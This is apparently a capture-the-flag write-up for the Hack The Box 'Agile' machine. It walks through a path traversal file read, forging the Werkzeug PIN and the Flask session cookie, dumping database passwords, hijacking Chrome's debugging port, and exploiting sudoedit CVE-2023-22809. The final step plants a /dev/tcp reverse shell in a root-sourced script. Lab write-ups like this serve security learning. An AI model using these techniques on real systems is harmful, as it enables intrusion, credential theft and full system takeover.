Agile Writeup

05 August 2023 #CTF #HTB #box #medium #linux

agile info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.11.203
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

The website is a password manager web app:

index

We can register an account and create new passwords, etc.

When using the site, you'll most likely encounter this error:

error message

This shows that the application is built with Flask, and since we are seeing this call trace, debug mode is enabled which means we can access a python console:

need pin

But it is protected by a PIN...

There is also an export functionality to download our vault as a csv file. When making the request to /vault/export, we are redirected to a new /download endpoint:

export vault

This seems like a really good candidate for a file disclosure vulnerability:

read /etc/passwd

Indeed, we can read files on the server (you still need a valid account to hit this endpoint).

Foothold

Forge Werkzeug Console PIN

The PIN used to protect the Werkzeug console is generated by using some values available locally. This hacktricks page explains it pretty well.

We need a few things:

We can get some of what we want by triggering an error in the app (in this case i looked for a file that doesn't exist):

flask error

We get the full path of Flask's app.py as well as the class name which is wsgi_app. If you run Flask by itself, the class name will be Flask, but here the app is running via a production server like gunicorn, so the name changes.

We'll get the rest of what we need through the file disclosure. We can get the current username in /proc/self/environ:

$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../proc/self/environ' | sed 's/\x00/\n/g'
LANG=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/var/www
LOGNAME=www-data
USER=www-data
INVOCATION_ID=768bcb5f4dd8403a8d049f194a7399e3
JOURNAL_STREAM=8:32200
SYSTEMD_EXEC_PID=1074
CONFIG_PATH=/app/config_prod.json

We are running as www-data.

To get the MAC address, we first need to know the name of the network interface. We'll find it in /proc/net/arp:

$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../proc/net/arp'
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.2       0x1         0x2         00:50:56:b9:ee:c2     *        eth0

Nice, now let's read /sys/class/net/eth0/address:

$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../sys/class/net/eth0/address'
00:50:56:b9:1d:9d

We need to have it in decimal format:

$ echo $((0x005056b91d9d))
345052355997

And finally, we'll get /etc/machine-id and /proc/self/cgroup:

$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../etc/machine-id'
ed5b159560f54721827644bc9b220d00

$ curl -s -b "session=<your_cookie>" 'superpass.htb/download?fn=../proc/self/cgroup'
0::/system.slice/superpass.service

We only want what's after the last / in /proc/self/cgroup -> ed5b159560f54721827644bc9b220d00superpass.service.

Now that we are set, let's use the script for the hacktricks page to generate the PIN:

$ python genpin.py
576-263-611

Bonus: unintended (patched)

When the box was released, there was a hardcoded secret key in ../app/app/superpass/app.py:

[...]
app.config['SECRET_KEY'] = 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'
[...]

(We know the path from looking at /proc/self/environ).

That secret is used to sign cookies, so we could just forge our own cookie to impersonate other users:

flask-unsign -s --secret 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD' -c "{'_fresh': True, '_id': 'b65517587dbc4fab581453f7ec54db73d1a3b4f4185271f530244274fa2bfdea5bc405490cc690110fa7e2c2699c53317478867e4838c1d51b3ecf25d89e312d', '_user_id': '2'}"

With "_user_id": "2", we get access to the vault of the "Corum" user, and we can use one of his passwords to SSH in.

Now if you check, it's just random bytes:

[...]
app.config['SECRET_KEY'] = os.urandom(32)
[...]

Privesc

www-data to Corum

We can find the DB creds in /app/config_prod.json:

www-data@agile:/app$ ls -lh
total 24K
drwxr-xr-x 5 corum     runner    4.0K Feb  8 16:29 app
drwxr-xr-x 9 runner    runner    4.0K Feb  8 16:36 app-testing
-r--r----- 1 dev_admin www-data    88 Jan 25  2023 config_prod.json
[...]
www-data@agile:/app$ cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Let's connect to the DB and dump passwords:

www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
[...]
mysql> use superpass
mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords           |
| users               |
+---------------------+
2 rows in set (0.00 sec)

mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)

We can log in as Corum with 5db7caa1d13cc37c9fc2.

Corum to Edwards

After uploading and running pspy, we can see some interesting processes:

CMD: UID=1001  PID=30987  | /usr/bin/google-chrome --remote-debugging-port=41829 --crash-dumps-dir=/tmp --disable-background-networking --enable-automation --headless
[...]
CMD: UID=1001  PID=31168  | /bin/bash /app/test_and_update.sh
[...]
CMD: UID=0     PID=1293   | /bin/bash -c source /app/venv/bin/activate

It's interesting to note that Google Chrome is running with a remote debugging port which means we can control this browser from another process (for example using selenium).

Let's take a look at /app/test_and_update.sh:

#!/bin/bash

# update prod with latest from testing constantly assuming tests are passing

echo "Starting test_and_update"
date

# if already running, exit
ps auxww | grep -v "grep" | grep -q "pytest" && exit

echo "Not already running. Starting..."

# start in dev folder
cd /app/app-testing

# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate

# run tests, exit if failure
pytest -x 2>&1 >/dev/null || exit

# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"

This cron job periodically runs tests on the testing version of the app, and if they pass, the test version overwrites the production version (this is why we get the MySQL error when using the site).

It's using the pytest framework with selenium in order to test the website as if it was a real user (like logging in, adding a password, ...):

import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait

with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')

@pytest.fixture(scope="session")
def driver():
    options = Options()
    #options.add_argument("--no-sandbox")
    options.add_argument("--window-size=1420,1080")
    options.add_argument("--headless")
    options.add_argument("--remote-debugging-port=41829")
    options.add_argument('--disable-gpu')
    options.add_argument('--crash-dumps-dir=/tmp')
    driver = webdriver.Chrome(options=options)
    yield driver
    driver.close()


def test_login(driver):
    print("starting test_login")
    driver.get('http://test.superpass.htb/account/login')
[...]

We'll write a quick and dirty python script to connect to this remote Chrome instance and go to http://test.superpass.htb/vault to see if there are any passwords:

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

options = Options()
options.add_argument("--headless")
options.add_argument('--disable-gpu')
options.add_argument('--crash-dumps-dir=/tmp')
options.add_experimental_option("debuggerAddress", "127.0.0.1:41829")
driver = webdriver.Chrome(options=options)

driver.get("http://test.superpass.htb/vault")
print(driver.page_source)

Run it:

corum@agile:~$ python3 stealpass.py
[...]
    <thead>
        <tr>
            <th></th>
            <th scope="col" width="30%">Site</th>
            <th scope="col" width="30%">Username</th>
            <th scope="col" width="30%">Password</th>
        </tr>
    </thead>
    <tbody hx-target="closest tr" hx-swap="outerHTML swap:.25s">

            <tr class="password-row">
    <td>
        <a hx-get="/vault/edit_row/1" hx-include="closest tr"><i class="fas fa-edit"></i></a>
        <a hx-delete="/vault/delete/1"><i class="fa-solid fa-trash"></i></a>
    </td>
    <td>agile</td>
    <td>edwards</td>
    <td>d07867c6267dcb5df0af</td>
</tr>

            <tr class="password-row">
    <td>
        <a hx-get="/vault/edit_row/2" hx-include="closest tr"><i class="fas fa-edit"></i></a>
        <a hx-delete="/vault/delete/2"><i class="fa-solid fa-trash"></i></a>
    </td>
    <td>twitter</td>
    <td>dedwards__</td>
    <td>7dbfe676b6b564ce5718</td>
</tr>
[...]

We can login as Edwards with d07867c6267dcb5df0af.

Edwards to root

Edwards can run sudo:

edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

More specifically, we are only able to edit these 2 files as the "dev_admin" user.

The sudo version (1.9.9) is vulnerable to CVE-2023-22809.

TL;DR: by appending -- to the EDITOR environment variable, we can edit arbitrary files as "dev_admin".

We saw earlier when running pspy that there is a cron job running as root that is sourcing /app/venv/bin/activate

It turns out this file writable by the dev_admin group:

edwards@agile:/app$ ls -lh /app/venv/bin
total 1.4M
-rw-r--r-- 1 root dev_admin 8.9K Aug  2 16:39 Activate.ps1
-rw-rw-r-- 1 root dev_admin 2.0K Aug  2 16:39 activate
[...]

We'll add a reverse shell payload at the start of the file using the sudo exploit:

edwards@agile:~$ EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin -g dev_admin /app/config_test.json

edwards@agile:~$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
bash -c 'bash -i >& /dev/tcp/10.10.14.27/443 0>&1'

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH

Now we wait 1 or 2 minutes for the cron job to run and we should get our root shell:

$ nc -lnvp 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.203:54932.
bash: cannot set terminal process group (3654): Inappropriate ioctl for device
bash: no job control in this shell
root@agile:~#

Key Takeaways